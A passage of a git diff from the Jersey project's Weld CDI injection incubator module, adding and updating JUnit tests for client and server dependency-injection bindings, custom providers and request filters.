+    void testContextResolvers() {
+        injectionManager.completeRegistration();
+
+        ClientBootstrapBag cbb = new ClientBootstrapBag();
+        cbb.setConfiguration(new ClientConfig());
+        new ContextResolverFactory.ContextResolversConfigurator().init(injectionManager, cbb);
+        assertOneInstance(ContextResolvers.class, "ContextResolverFactory");
+    }
+
+    @Test
+    void testExceptionMappers() {
+        injectionManager.completeRegistration();
+
+        ClientBootstrapBag cbb = new ClientBootstrapBag();
+        cbb.setConfiguration(new ClientConfig());
+        new ExceptionMapperFactory.ExceptionMappersConfigurator().init(injectionManager, cbb);
+        assertOneInstance(ExceptionMappers.class, "ExceptionMapperFactory");
+    }
+
+    @Test
+    void testProviders() {
+        injectionManager.completeRegistration();
+        new JaxrsProviders.ProvidersConfigurator().init(injectionManager, (BootstrapBag) null);
+        assertOneInstance(Providers.class, "JaxrsProviders");
+    }
+
+    @Test
+    void testAutoDiscoverable() {
+        injectionManager.completeRegistration();
+        // new AutoDiscoverableConfigurator(RuntimeType.CLIENT).init(injectionManager, new ClientBootstrapBag()); config
+        new ClientBootstrapPreinitialization().preregister(RuntimeType.CLIENT, injectionManager);
+        assertMultiple(AutoDiscoverable.class, 2, "LoggingFeatureAutoDiscoverable");
+    }
+
+    @Test
+    void testMessageBodyWorkers() {
+        injectionManager.completeRegistration();
+        new ClientBootstrapPreinitialization().preregister(RuntimeType.CLIENT, injectionManager);
+        assertOneInstance(MessageBodyWorkers.class, "MessageBodyFactory");
+    }
+
+    @Test
+    void clientOnlyInstancesTest() {
+        injectionManager.completeRegistration();
+        List<ClientOnlyPreinitialization.ClientOnlyInterface> instances =
+                injectionManager.getAllInstances(ClientOnlyPreinitialization.ClientOnlyInterface.class);
+        Assertions.assertEquals(2, instances.size());
+        Assertions.assertTrue(instances.stream()
+                .anyMatch(p -> p.getClass().equals(ClientOnlyPreinitialization.ClientOnlyClassA.class)));
+        Assertions.assertTrue(instances.stream()
+                .anyMatch(p -> p.getClass().equals(ClientOnlyPreinitialization.ClientOnlyClassB.class)));
+    }
+
+    @Test
+    void clientOnlyServiceHoldersTest() {
+        injectionManager.completeRegistration();
+        List<ServiceHolder<ClientOnlyPreinitialization.ClientOnlyInterface>> instances =
+                injectionManager.getAllServiceHolders(ClientOnlyPreinitialization.ClientOnlyInterface.class);
+        Assertions.assertEquals(2, instances.size());
+        Assertions.assertTrue(instances.stream()
+                .anyMatch(p -> p.getInstance().getClass().equals(ClientOnlyPreinitialization.ClientOnlyClassA.class)));
+        Assertions.assertTrue(instances.stream()
+                .anyMatch(p -> p.getInstance().getClass().equals(ClientOnlyPreinitialization.ClientOnlyClassB.class)));
+    }
+}
diff --git a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/binder/client/ClientOnlyPreinitialization.java b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/binder/client/ClientOnlyPreinitialization.java
new file mode 100644
index 0000000..475a726
--- /dev/null
+++ b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/binder/client/ClientOnlyPreinitialization.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.inject.weld.binder.client;
+
+import org.glassfish.jersey.innate.BootstrapPreinitialization;
+import org.glassfish.jersey.innate.inject.InternalBinder;
+import org.glassfish.jersey.internal.inject.InjectionManager;
+
+import jakarta.ws.rs.RuntimeType;
+
+public class ClientOnlyPreinitialization implements BootstrapPreinitialization {
+    public static interface ClientOnlyInterface {
+
+    }
+    public static class ClientOnlyClassA implements ClientOnlyInterface {
+
+    }
+    public static class ClientOnlyClassB implements ClientOnlyInterface {
+
+    }
+    @Override
+    public void preregister(RuntimeType runtimeType, InjectionManager injectionManager) {
+        injectionManager.register(new InternalBinder() {
+            @Override
+            protected void configure() {
+                bind(ClientOnlyClassA.class).to(ClientOnlyInterface.class);
+                bind(ClientOnlyClassB.class).to(ClientOnlyInterface.class);
+            }
+        });
+    }
+}
diff --git a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/binder/client/CustomProviderTest.java b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/binder/client/CustomProviderTest.java
new file mode 100644
index 0000000..4d63204
--- /dev/null
+++ b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/binder/client/CustomProviderTest.java
@@ -0,0 +1,160 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.inject.weld.binder.client;
+
+import org.glassfish.jersey.inject.weld.ClientTestParent;
+import org.glassfish.jersey.inject.weld.TestParent;
+import org.glassfish.jersey.internal.inject.InjectionManager;
+import org.glassfish.jersey.internal.inject.InjectionManagerSupplier;
+import org.glassfish.jersey.message.internal.ReaderWriter;
+import org.glassfish.jersey.process.internal.RequestScoped;
+import org.junit.jupiter.api.Assertions;
+import org.junit.jupiter.api.Test;
+
+import jakarta.inject.Inject;
+import jakarta.ws.rs.WebApplicationException;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.client.ClientRequestContext;
+import jakarta.ws.rs.client.ClientRequestFilter;
+import jakarta.ws.rs.client.Entity;
+import jakarta.ws.rs.core.Configuration;
+import jakarta.ws.rs.core.Context;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.MultivaluedMap;
+import jakarta.ws.rs.core.Response;
+import jakarta.ws.rs.ext.MessageBodyReader;
+import jakarta.ws.rs.ext.MessageBodyWriter;
+import jakarta.ws.rs.ext.Provider;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.lang.annotation.Annotation;
+import java.lang.reflect.Type;
+import java.nio.charset.StandardCharsets;
+
+public class CustomProviderTest extends ClientTestParent {
+
+    private static final String URI = "http://somewhere.nevermind:60000";
+
+    public static class POJO {
+        private final String value;
+
+        public POJO(String value) {
+            this.value = value;
+        }
+
+        @Override
+        public String toString() {
+            return value;
+        }
+    }
+
+    public static class POJOProvider implements MessageBodyReader<POJO>, MessageBodyWriter<POJO> {
+
+        @Override
+        public boolean isReadable(Class<?> type, Type genericType, Annotation[] annotations, MediaType mediaType) {
+            return type == POJO.class;
+        }
+
+        @Override
+        public POJO readFrom(Class<POJO> type, Type genericType, Annotation[] annotations, MediaType mediaType,
+                             MultivaluedMap<String, String> httpHeaders, InputStream entityStream)
+                throws IOException, WebApplicationException {
+            return new POJO(ReaderWriter.readFromAsString(entityStream, mediaType));
+        }
+
+        @Override
+        public boolean isWriteable(Class<?> type, Type genericType, Annotation[] annotations, MediaType mediaType) {
+            return type == POJO.class;
+        }
+
+        @Override
+        public void writeTo(POJO pojo, Class<?> type, Type genericType, Annotation[] annotations, MediaType mediaType,
+                            MultivaluedMap<String, Object> httpHeaders, OutputStream entityStream)
+                throws IOException, WebApplicationException {
+            entityStream.write(pojo.toString().getBytes(StandardCharsets.UTF_8));
+        }
+    }
+
+    @Test
+    void testCustomRequestFilter() {
+        Response r = ClientBuilder.newClient()
+                .register(new ClientRequestFilter() {
+                    @Override
+                    public void filter(ClientRequestContext requestContext) throws IOException {
+                        InjectionManager im = ((InjectionManagerSupplier) requestContext).getInjectionManager();
+                        assertMultiple(im, ClientRequestFilter.class, 1, this.getClass().getSimpleName());
+                        requestContext.abortWith(Response.ok().build());
+                    }})
+                .target(URI).request()
+                .get();
+        r.close();
+    }
+
+    @Test
+    void testCustomMessageBodyReader() {
+        Response r = ClientBuilder.newClient()
+                .register(new POJOProvider())
+                .register(new ClientRequestFilter() {
+                    @Override
+                    public void filter(ClientRequestContext requestContext) throws IOException {
+                        InjectionManager im = ((InjectionManagerSupplier) requestContext).getInjectionManager();
+                        assertMultiple(im, MessageBodyReader.class, 1, POJOProvider.class.getSimpleName());
+                        requestContext.abortWith(Response.ok().build());
+                    }})
+                .target(URI).request()
+                .get();
+        r.close();
+    }
+
+    @Test
+    void testCustomMessageBodyReaderClass() {
+        Response r = ClientBuilder.newClient()
+                .register(POJOProvider.class)
+                .register(new ClientRequestFilter() {
+                    @Override
+                    public void filter(ClientRequestContext requestContext) throws IOException {
+                        InjectionManager im = ((InjectionManagerSupplier) requestContext).getInjectionManager();
+                        assertMultiple(im, MessageBodyReader.class, 1, POJOProvider.class.getSimpleName());
+                        requestContext.abortWith(Response.ok().build());
+                    }})
+                .target(URI).request()
+                .get();
+        r.close();
+        //post(Entity.entity(new POJO("hello"),MediaType.TEXT_PLAIN_TYPE));
+    }
+
+    static class InjectingClientRequestFilter implements ClientRequestFilter {
+        @Inject
+        Configuration configuration;
+
+        @Override
+        public void filter(ClientRequestContext requestContext) throws IOException {
+            Assertions.assertNotNull(configuration);
+            Assertions.assertTrue(configuration.getClass().getName().contains("ClientConfig$State"));
+            requestContext.abortWith(Response.ok().build());
+        }
+    }
+
+    @Test
+    void testCustomFilterProviderIsInjectable() {
+        try (Response r = ClientBuilder.newClient().register(InjectingClientRequestFilter.class)
+                .target(URI).request().get()) {
+            Assertions.assertEquals(200, r.getStatus());
+        }
+    }
+}
diff --git a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/binder/client/TestClientRequestFilter.java b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/binder/client/TestClientRequestFilter.java
new file mode 100644
index 0000000..f6b4000
--- /dev/null
+++ b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/binder/client/TestClientRequestFilter.java
@@ -0,0 +1,39 @@
+/*
+ * Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.inject.weld.binder.client;
+
+import org.glassfish.jersey.inject.weld.TestParent;
+import org.glassfish.jersey.internal.inject.InjectionManager;
+import org.glassfish.jersey.internal.inject.InjectionManagerSupplier;
+
+import jakarta.enterprise.context.ApplicationScoped;
+import jakarta.ws.rs.client.ClientRequestContext;
+import jakarta.ws.rs.client.ClientRequestFilter;
+import jakarta.ws.rs.core.Response;
+import jakarta.ws.rs.ext.Provider;
+import java.io.IOException;
+
+@Provider
+//@ApplicationScoped
+public class TestClientRequestFilter implements ClientRequestFilter {
+    @Override
+    public void filter(ClientRequestContext requestContext) throws IOException {
+        InjectionManager im = ((InjectionManagerSupplier) requestContext).getInjectionManager();
+        TestParent.assertMultiple(im, ClientRequestFilter.class, 1, CustomProviderTest.POJOProvider.class.getName());
+        requestContext.abortWith(Response.ok().build());
+    }
+}
diff --git a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/binder/common/CoreCommonBindingsTest.java b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/binder/common/CoreCommonBindingsTest.java
new file mode 100644
index 0000000..66a4b18
--- /dev/null
+++ b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/binder/common/CoreCommonBindingsTest.java
@@ -0,0 +1,50 @@
+/*
+ * Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.inject.weld.binder.common;
+
+import org.glassfish.jersey.inject.weld.ClientTestParent;
+import org.glassfish.jersey.internal.BootstrapBag;
+import org.glassfish.jersey.message.MessageBodyWorkers;
+import org.glassfish.jersey.message.internal.MessageBodyFactory;
+import org.glassfish.jersey.message.internal.MessagingBinders;
+import org.glassfish.jersey.spi.HeaderDelegateProvider;
+import org.junit.jupiter.api.Assertions;
+import org.junit.jupiter.api.Test;
+
+import jakarta.ws.rs.RuntimeType;
+import jakarta.ws.rs.ext.MessageBodyReader;
+import jakarta.ws.rs.ext.MessageBodyWriter;
+import java.util.Collections;
+import java.util.List;
+
+public class CoreCommonBindingsTest extends ClientTestParent {
+
+    @Test
+    public void testProviders() {
+        injectionManager.completeRegistration();
+        injectionManager.register(new MessagingBinders.HeaderDelegateProviders(RuntimeType.CLIENT));
+        assertMultiple(HeaderDelegateProvider.class, 10, "DateProvider");
+    }
+
+    @Test
+    public void testMessageBodyProviders() {
+        injectionManager.completeRegistration();
+        injectionManager.register(new MessagingBinders.MessageBodyProviders(Collections.emptyMap(), RuntimeType.CLIENT));
+        assertMultiple(MessageBodyReader.class, 10, "StringMessageProvider");
+        assertMultiple(MessageBodyWriter.class, 10, "StringMessageProvider");
+    }
+}
diff --git a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/binder/server/ModelProcessorBindingsTest.java b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/binder/server/ModelProcessorBindingsTest.java
new file mode 100644
index 0000000..78c033c
--- /dev/null
+++ b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/binder/server/ModelProcessorBindingsTest.java
@@ -0,0 +1,63 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.inject.weld.binder.server;
+
+import org.glassfish.jersey.inject.weld.TestParent;
+import org.glassfish.jersey.innate.inject.InjectionIds;
+import org.glassfish.jersey.innate.inject.InternalBinder;
+import org.glassfish.jersey.innate.inject.Bindings;
+import org.glassfish.jersey.server.ResourceConfig;
+import org.glassfish.jersey.server.ServerConfig;
+import org.glassfish.jersey.server.internal.JerseyResourceContext;
+import org.glassfish.jersey.server.model.ModelProcessor;
+import org.glassfish.jersey.server.wadl.WadlApplicationContext;
+import org.glassfish.jersey.server.wadl.internal.WadlApplicationContextImpl;
+import org.glassfish.jersey.server.wadl.processor.OptionsMethodProcessor;
+import org.glassfish.jersey.server.wadl.processor.WadlModelProcessor;
+import org.junit.jupiter.api.Test;
+
+import jakarta.inject.Singleton;
+import javax.security.auth.login.Configuration;
+import jakarta.ws.rs.container.ResourceContext;
+
+public class ModelProcessorBindingsTest extends TestParent {
+
+    @Test
+    public void testWadlProcessor() {
+        injectionManager.completeRegistration();
+        injectionManager.register(Bindings.service(new OptionsMethodProcessor()).to(ModelProcessor.class)
+                .id(InjectionIds.SERVER_OPTIONS_METHOD_PROCESSOR.id()));
+        assertMultiple(ModelProcessor.class, 2, WadlModelProcessor.class.getSimpleName(),
+                OptionsMethodProcessor.class.getSimpleName());
+    }
+
+    @Test
+    public void testWadlContext() {
+        injectionManager.register(new InternalBinder() {
+            @Override
+            protected void configure() {
+                bind(new ResourceConfig()).to(ServerConfig.class).to(Configuration.class)
+                        .id(InjectionIds.COMMON_CONFIGURATION.id());
+                bind(new JerseyResourceContext(null, null, null)).to(ResourceContext.class)
+                        .id(InjectionIds.SERVER_RESOURCE_CONTEXT.id());
+                bind(WadlApplicationContextImpl.class).to(WadlApplicationContext.class).in(Singleton.class);
+            }
+        });
+        injectionManager.completeRegistration();
+        assertOneInstance(WadlApplicationContext.class, WadlApplicationContextImpl.class.getSimpleName());
+    }
+}
diff --git a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/binder/server/ServerBindingsTest.java b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/binder/server/ServerBindingsTest.java
new file mode 100644
index 0000000..a6a6849
--- /dev/null
+++ b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/binder/server/ServerBindingsTest.java
@@ -0,0 +1,51 @@
+/*
+ * Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.inject.weld.binder.server;
+
+import org.glassfish.jersey.inject.weld.TestParent;
+import org.glassfish.jersey.inject.weld.binder.client.ClientOnlyPreinitialization;
+import org.glassfish.jersey.internal.inject.ServiceHolder;
+import org.junit.jupiter.api.Assertions;
+import org.junit.jupiter.api.Test;
+
+import java.util.List;
+
+public class ServerBindingsTest extends TestParent {
+    @Test
+    void clientOnlyInstancesTest() {
+        injectionManager.completeRegistration();
+        List<ClientOnlyPreinitialization.ClientOnlyInterface> instances =
+                injectionManager.getAllInstances(ClientOnlyPreinitialization.ClientOnlyInterface.class);
+        Assertions.assertEquals(2, instances.size());
+        Assertions.assertTrue(instances.stream()
+                .anyMatch(p -> p.getClass().equals(ClientOnlyPreinitialization.ClientOnlyClassA.class)));
+        Assertions.assertTrue(instances.stream()
+                .anyMatch(p -> p.getClass().equals(ClientOnlyPreinitialization.ClientOnlyClassB.class)));
+    }
+
+    @Test
+    void clientOnlyServiceHoldersTest() {
+        injectionManager.completeRegistration();
+        List<ServiceHolder<ClientOnlyPreinitialization.ClientOnlyInterface>> instances =
+                injectionManager.getAllServiceHolders(ClientOnlyPreinitialization.ClientOnlyInterface.class);
+        Assertions.assertEquals(2, instances.size());
+        Assertions.assertTrue(instances.stream()
+                .anyMatch(p -> p.getInstance().getClass().equals(ClientOnlyPreinitialization.ClientOnlyClassA.class)));
+        Assertions.assertTrue(instances.stream()
+                .anyMatch(p -> p.getInstance().getClass().equals(ClientOnlyPreinitialization.ClientOnlyClassB.class)));
+    }
+}
\ No newline at end of file
diff --git a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/injector/CachedConstructorAnalyzerTest.java b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/injector/CachedConstructorAnalyzerTest.java
index 9a6d8da..5f5b0d3 100644
--- a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/injector/CachedConstructorAnalyzerTest.java
+++ b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/injector/CachedConstructorAnalyzerTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021, 2022, 2024 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,6 @@
 
 import jakarta.enterprise.inject.InjectionException;
 import jakarta.ws.rs.MatrixParam;
-import jakarta.ws.rs.NotFoundException;
 import jakarta.ws.rs.PathParam;
 import jakarta.ws.rs.core.Context;
 
diff --git a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/BindingTestHelper.java b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/BindingTestHelper.java
index f6184eb..c309e63 100644
--- a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/BindingTestHelper.java
+++ b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/BindingTestHelper.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,7 +16,7 @@
 
 package org.glassfish.jersey.inject.weld.internal.managed;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.innate.inject.InternalBinder;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.glassfish.jersey.internal.inject.Injections;
 
@@ -35,8 +35,8 @@
      * @param injectionManager injection manager which accepts the consumer.
      * @param bindConsumer     consumer to populate a binder.
      */
-    static void bind(InjectionManager injectionManager, Consumer<AbstractBinder> bindConsumer) {
-        AbstractBinder binder = new AbstractBinder() {
+    static void bind(InjectionManager injectionManager, Consumer<InternalBinder> bindConsumer) {
+        InternalBinder binder = new InternalBinder() {
             @Override
             protected void configure() {
                 bindConsumer.accept(this);
diff --git a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/ClientInstanceInjectionTest.java b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/ClientInstanceInjectionTest.java
index afb04b8..d7dbfbc 100644
--- a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/ClientInstanceInjectionTest.java
+++ b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/ClientInstanceInjectionTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -21,6 +21,7 @@
 import jakarta.inject.Inject;
 import jakarta.ws.rs.RuntimeType;
 
+import org.glassfish.jersey.inject.weld.TestParent;
 import org.glassfish.jersey.inject.weld.managed.CdiInjectionManagerFactory;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.junit.jupiter.api.Assertions;
diff --git a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/DisposableSupplierTest.java b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/DisposableSupplierTest.java
index ee96847..7efa92e 100644
--- a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/DisposableSupplierTest.java
+++ b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/DisposableSupplierTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -27,6 +27,7 @@
 import jakarta.inject.Inject;
 import jakarta.ws.rs.core.GenericType;
 
+import org.glassfish.jersey.inject.weld.TestParent;
 import org.glassfish.jersey.inject.weld.internal.bean.BeanHelper;
 import org.glassfish.jersey.internal.inject.DisposableSupplier;
 import org.glassfish.jersey.process.internal.RequestScope;
@@ -346,7 +347,7 @@
 
     /**
      * PerLookup fields are not disposed therefore they should never be used as a DisposedSupplier because the field stay in
-     * {@link org.glassfish.jersey.inject.weld.bean.SupplierClassBean} forever.
+     * {@link org.glassfish.jersey.inject.weld.internal.bean.SupplierClassBean} forever.
      */
     @Test
     public void testDisposeComposedObjectWithPerLookupFields() {
diff --git a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/InjectionManagerTest.java b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/InjectionManagerTest.java
index 7be66d9..f3f6dda 100644
--- a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/InjectionManagerTest.java
+++ b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/InjectionManagerTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -20,6 +20,7 @@
 import jakarta.inject.Inject;
 import jakarta.ws.rs.RuntimeType;
 
+import org.glassfish.jersey.inject.weld.TestParent;
 import org.glassfish.jersey.inject.weld.managed.CdiInjectionManagerFactory;
 import org.glassfish.jersey.internal.inject.InjectionManager;
 import org.junit.jupiter.api.Assertions;
diff --git a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/ProviderInjectionTest.java b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/ProviderInjectionTest.java
index 42aadeb..be86070 100644
--- a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/ProviderInjectionTest.java
+++ b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/ProviderInjectionTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -26,7 +26,8 @@
 import jakarta.inject.Provider;
 import jakarta.ws.rs.core.Context;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.weld.TestParent;
+import org.glassfish.jersey.innate.inject.InternalBinder;
 
 import org.hamcrest.core.StringStartsWith;
 import org.junit.jupiter.api.Assertions;
@@ -213,7 +214,7 @@
 
     private static class ProviderInjectionTestExtension implements Extension {
         void registerBindings(@Observes BeforeBeanDiscovery beforeBeanDiscovery, BeanManager beanManager) {
-            AbstractBinder testBinder = new AbstractBinder() {
+            InternalBinder testBinder = new InternalBinder() {
                 @Override
                 protected void configure() {
                     bind(CzechGreeting.class).to(Greeting.class);
diff --git a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/SupplierClassBindingTest.java b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/SupplierClassBindingTest.java
index 7db2804..6910367 100644
--- a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/SupplierClassBindingTest.java
+++ b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/SupplierClassBindingTest.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -27,7 +27,8 @@
 import jakarta.inject.Inject;
 import jakarta.inject.Singleton;
 
-import org.glassfish.jersey.internal.inject.AbstractBinder;
+import org.glassfish.jersey.inject.weld.TestParent;
+import org.glassfish.jersey.innate.inject.InternalBinder;
 
 import org.hamcrest.core.StringStartsWith;
 import org.junit.jupiter.api.BeforeAll;
@@ -285,7 +286,7 @@
 
     private static class SupplierClassBindingTestExtension implements Extension {
         void registerBindings(@Observes BeforeBeanDiscovery beforeBeanDiscovery, BeanManager beanManager) {
-            AbstractBinder testBinder = new AbstractBinder() {
+            InternalBinder testBinder = new InternalBinder() {
                 @Override
                 protected void configure() {
                     bindFactory(SupplierGreeting.class).to(Greeting.class);
diff --git a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/SupplierContractsTest.java b/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/SupplierContractsTest.java
index 3f67389..4e197c8 100644
--- a/incubator/cdi-inject-weld/src/test/java/org/glassfish/jersey/inject/weld/internal/managed/SupplierContractsTest.java
